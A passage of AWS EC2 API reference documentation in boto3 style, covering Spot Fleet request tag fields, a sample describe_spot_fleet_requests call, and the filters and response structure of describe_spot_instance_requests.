Instance requests are placed or able to fulfill the request. If no value is specified, the Spot Fleet request remains until you cancel it. + + * **ReplaceUnhealthyInstances** _(boolean) --_ + + Indicates whether Spot Fleet should replace unhealthy instances. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + + * **LoadBalancersConfig** _(dict) --_ + + One or more Classic Load Balancers and target groups to attach to the Spot Fleet request. Spot Fleet registers the running Spot Instances with the specified Classic Load Balancers and target groups. + + With Network Load Balancers, Spot Fleet cannot register instances that have the following instance types: C1, CC1, CC2, CG1, CG2, CR1, CS1, G1, G2, HI1, HS1, M1, M2, M3, and T1. + + * **ClassicLoadBalancersConfig** _(dict) --_ + + The Classic Load Balancers. + + * **ClassicLoadBalancers** _(list) --_ + + One or more Classic Load Balancers. + + * _(dict) --_ + + Describes a Classic Load Balancer. + + * **Name** _(string) --_ + + The name of the load balancer. + + * **TargetGroupsConfig** _(dict) --_ + + The target groups. + + * **TargetGroups** _(list) --_ + + One or more target groups. + + * _(dict) --_ + + Describes a load balancer target group. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the target group. + + * **InstancePoolsToUseCount** _(integer) --_ + + The number of Spot pools across which to allocate your target Spot capacity. Valid only when Spot **AllocationStrategy** is set to lowest-price . Spot Fleet selects the cheapest Spot pools and evenly allocates your target Spot capacity across the number of Spot pools that you specify. + + * **TagSpecifications** _(list) --_ + + The key-value pair for tagging the Spot Fleet request on creation. The value for ResourceType must be spot-fleet-request , otherwise the Spot Fleet request fails. To tag instances at launch, specify the tags in the [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html#create-launch-template) (valid only if you use LaunchTemplateConfigs ) or in the ` SpotFleetTagSpecification [https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetTagSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetTagSpecification).html`__ (valid only if you use LaunchSpecifications ). For information about tagging after launch, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html#tag-resources) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id431)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id433)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **SpotFleetRequestId** _(string) --_ + + The ID of the Spot Fleet request. + + * **SpotFleetRequestState** _(string) --_ + + The state of the Spot Fleet request. + + * **Tags** _(list) --_ + + The tags for a Spot Fleet resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example describes the specified Spot fleet request. + +response = client.describe_spot_fleet_requests( + SpotFleetRequestIds=[ + 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + ], +) + +print(response) + +Expected Output: + +{ + 'SpotFleetRequestConfigs': [ + { + 'SpotFleetRequestConfig': { + 'IamFleetRole': 'arn:aws:iam::123456789012:role/my-spot-fleet-role', + 'LaunchSpecifications': [ + { + 'EbsOptimized': False, + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'cc2.8xlarge', + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True, + 'DeleteOnTermination': False, + 'DeviceIndex': 0, + 'SecondaryPrivateIpAddressCount': 0, + 'SubnetId': 'subnet-a61dafcf', + }, + ], + }, + { + 'EbsOptimized': False, + 'ImageId': 'ami-1a2b3c4d', + 'InstanceType': 'r3.8xlarge', + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True, + 'DeleteOnTermination': False, + 'DeviceIndex': 0, + 'SecondaryPrivateIpAddressCount': 0, + 'SubnetId': 'subnet-a61dafcf', + }, + ], + }, + ], + 'SpotPrice': '0.05', + 'TargetCapacity': 20, + }, + 'SpotFleetRequestId': 'sfr-73fbd2ce-aa30-494c-8788-1cee4EXAMPLE', + 'SpotFleetRequestState': 'active', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_spot_instance_requests(kwargs_) + +Describes the specified Spot Instance requests. + +You can use DescribeSpotInstanceRequests to find a running Spot Instance by examining the response. If the status of the Spot Instance is fulfilled , the instance ID appears in the response and contains the identifier of the instance. Alternatively, you can use [DescribeInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances) with a filter to look for instances where the instance lifecycle is spot . + +We recommend that you set MaxResults to a value between 5 and 1000 to limit the number of results returned. This paginates the output, which makes the list more manageable and returns the results faster. If the list of results exceeds your MaxResults value, then that number of results is returned along with a NextToken value that can be passed to a subsequent DescribeSpotInstanceRequests request to retrieve the remaining results. + +Spot Instance requests are deleted four hours after they are canceled and their instances are terminated. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotInstanceRequests) + +**Request Syntax** + +response = client.describe_spot_instance_requests( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + SpotInstanceRequestIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * availability-zone-group - The Availability Zone group. + * create-time - The time stamp when the Spot Instance request was created. + * fault-code - The fault code related to the request. + * fault-message - The fault message related to the request. + * instance-id - The ID of the instance that fulfilled the request. + * launch-group - The Spot Instance launch group. + * launch.block-device-mapping.delete-on-termination - Indicates whether the EBS volume is deleted on instance termination. + * launch.block-device-mapping.device-name - The device name for the volume in the block device mapping (for example, /dev/sdh or xvdh ). + * launch.block-device-mapping.snapshot-id - The ID of the snapshot for the EBS volume. + * launch.block-device-mapping.volume-size - The size of the EBS volume, in GiB. + * launch.block-device-mapping.volume-type - The type of EBS volume: gp2 for General Purpose SSD, io1 or io2 for Provisioned IOPS SSD, st1 for Throughput Optimized HDD, sc1 for Cold HDD, or standard for Magnetic. + * launch.group-id - The ID of the security group for the instance. + * launch.group-name - The name of the security group for the instance. + * launch.image-id - The ID of the AMI. + * launch.instance-type - The type of instance (for example, m3.medium ). + * launch.kernel-id - The kernel ID. + * launch.key-name - The name of the key pair the instance launched with. + * launch.monitoring-enabled - Whether detailed monitoring is enabled for the Spot Instance. + * launch.ramdisk-id - The RAM disk ID. + * launched-availability-zone - The Availability Zone in which the request is launched. + * network-interface.addresses.primary - Indicates whether the IP address is the primary private IP address. + * network-interface.delete-on-termination - Indicates whether the network interface is deleted when the instance is terminated. + * network-interface.description - A description of the network interface. + * network-interface.device-index - The index of the device for the network interface attachment on the instance. + * network-interface.group-id - The ID of the security group associated with the network interface. + * network-interface.network-interface-id - The ID of the network interface. + * network-interface.private-ip-address - The primary private IP address of the network interface. + * network-interface.subnet-id - The ID of the subnet for the instance. + * product-description - The product description associated with the instance (Linux/UNIX | Windows ). + * spot-instance-request-id - The Spot Instance request ID. + * spot-price - The maximum hourly price for any Spot Instance launched to fulfill the request. + * state - The state of the Spot Instance request (open | active | closed | cancelled | failed ). Spot request status information can help you track your Amazon EC2 Spot Instance requests. For more information, see [Spot request status](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html) in the _Amazon EC2 User Guide for Linux Instances_ . + * status-code - The short code describing the most recent evaluation of your Spot Instance request. + * status-message - The message explaining the status of the Spot Instance request. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * type - The type of Spot Instance request (one-time | persistent ). + * valid-from - The start date of the request. + * valid-until - The end date of the request. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **SpotInstanceRequestIds** (_list_) -- + + One or more Spot Instance request IDs. + + * _(string) --_ +* **NextToken** (_string_) -- The token to request the next set of results. This value is null when there are no more results to return. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. Specify a value between 5 and 1000. To retrieve the remaining results, make another call with the returned NextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SpotInstanceRequests': [ + { + 'ActualBlockHourlyPrice': 'string', + 'AvailabilityZoneGroup': 'string', + 'BlockDurationMinutes': 123, + 'CreateTime': datetime(2015, 1, 1), + 'Fault': { + 'Code': 'string', + 'Message': 'string' + }, + 'InstanceId': 'string', + 'LaunchGroup': 'string', + 'LaunchSpecification': { + 'UserData': 'string', + 'SecurityGroups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'AddressingType': 'string', + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'Placement': { + 'AvailabilityZone': 'string', + 'GroupName': 'string', + 'Tenancy': 'default'|'dedicated'|'host' + }, + 'RamdiskId': 'string', + 'SubnetId': 'string', + 'Monitoring': { + 'Enabled': True|False + } + }, + 'LaunchedAvailabilityZone': 'string', + 'ProductDescription': 'Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + 'SpotInstanceRequestId': 'string', + 'SpotPrice': 'string', + 'State': 'open'|'active'|'closed'|'cancelled'|'failed', + 'Status': { + 'Code': 'string', + 'Message': 'string', + 'UpdateTime': datetime(2015, 1, 1) + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'Type': 'one-time'|'persistent', + 'ValidFrom': datetime(2015, 1, 1), + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeSpotInstanceRequests. + + * **SpotInstanceRequests** _(list) --_ + + One or more Spot Instance requests. + + * _(dict) --_ + + Describes a Spot Instance request. + + * **ActualBlockHourlyPrice** _(string) --_ + + If you specified a duration and your Spot Instance request was fulfilled, this is the fixed hourly price in effect for the Spot Instance while it runs. + + * **AvailabilityZoneGroup** _(string) --_ + + The Availability Zone group. If you specify the same Availability Zone group for all Spot Instance requests, all Spot Instances are launched in the same Availability Zone. + + * **BlockDurationMinutes** _(integer) --_ + + The duration for the Spot Instance, in minutes. + + * **CreateTime** _(datetime) --_ + + The date and time when the Spot Instance request was created, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + * **Fault** _(dict) --_ + + The fault codes for the Spot Instance request, if any. + + * **Code** _(string) --_ + + The reason code for the Spot Instance state change. + + * **Message** _(string) --_ + + The message for the Spot Instance state change. + + * **InstanceId** _(string) --_ + + The instance ID, if an instance has been launched to fulfill the Spot Instance request. + + * **LaunchGroup** _(string) --_ + + The instance launch group. Launch groups are Spot Instances that launch together and terminate together. + + * **LaunchSpecification** _(dict) --_ + + Additional information for launching instances. + + * **UserData** _(string) --_ + + The Base64-encoded user data for the instance. + + * **SecurityGroups** _(list) --_ + + One or more security groups. When requesting instances in a VPC, you must specify the IDs of the security groups. When requesting instances in EC2-Classic, you can specify the names or the IDs of the security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **AddressingType** _(string) --_ + + Deprecated. + + * **BlockDeviceMappings** _(list) --_ + + One or more block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + Default: false + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **ImageId** _(string) --_ + + The ID of the AMI. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KernelId** _(string) --_ + + The ID of the kernel. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **NetworkInterfaces** _(list) --_ + + One or more network interfaces. If you specify a network interface, you must specify subnet IDs and security group IDs using the network interface. + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for 